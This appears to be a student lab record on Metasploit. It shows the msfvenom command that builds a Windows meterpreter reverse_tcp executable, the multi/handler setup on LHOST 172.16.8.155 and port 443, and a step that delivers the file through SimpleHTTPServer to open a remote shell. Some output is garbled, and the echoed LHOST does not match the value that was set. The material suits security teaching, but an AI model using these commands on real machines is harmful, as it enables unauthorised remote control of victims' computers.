

**Exp. No.: 13**

**Date:**

## **METASPLOIT**

**Aim:** To set up the Metasploit framework and exploit reverse\_tcp in a Windows 8 machine remotely.

### **Algorithm:**

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and its port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

**Output:** root@kali:~# msfvenom -p

windows/meterpreter/reverse\_tcp

LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

[\*] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[\*] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload Payload size: 341 bytes

Final size of exe file: 73802 bytes root@kali:~# msfconsole

[\*] \*\*\*Rting the Metasploit Framework console...\  
[\*] \* WARNING: No database support: could not connect to server: Connection

refused Is the server running on host "localhost" (::1) and accepting  
TCP/IP connections on port 5432? could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP  
connections on port 5432?

[\*] \*\*\*

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```
= [ metasploit v5.0.41-dev ]  
+ -- == [ 1914 exploits - 1074 auxiliary - 330 post ]  
+ -- == [ 556 payloads - 45 encoders - 10 nops ]  
+ -- == [ 4 evasion ]
```

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp

payload => windows/meterpreter/reverse\_tcp msf5 exploit(multi/handler)

> show options Module options (exploit/multi/handler):

Name	Current	Setting	Required	Description
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Payload options (windows/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
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EXITFUNC	process		yes	Exit technique (Accepted: "", seh, thread, process, none)
LHOST			yes	The listen address (an interface may be specified)
LPORT	4444		yes	The listen port

Exploit target:

Id	Name
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0	Wildcard Target
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```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156  
msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443 msf5  
exploit(multi/handler) > exploit
```

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[*] Started reverse TCP handler on 172.16.8.155:443
```

**Result:**